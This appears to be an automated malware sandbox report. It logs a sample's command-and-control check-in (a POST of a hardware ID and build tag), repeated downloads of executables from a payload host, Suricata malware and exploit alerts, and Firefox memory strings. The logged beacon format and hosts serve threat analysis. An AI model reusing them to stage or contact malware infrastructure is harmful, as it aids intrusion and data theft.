Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="build"tale------BAFIEGIECGCBKFIEBGCA--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59827 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59844 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59845 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59847 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59848 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59850 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59853 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59854 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59855 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59857 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:59856 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59860 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:59861 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:59861 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59864 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59869 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59883 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59887 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:59888 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59846 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59923 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59925 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59885 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:49714
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:59709

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application version equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application version equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jsBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jsBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jsBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3138587384.0000016D66507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D66567000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6654D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
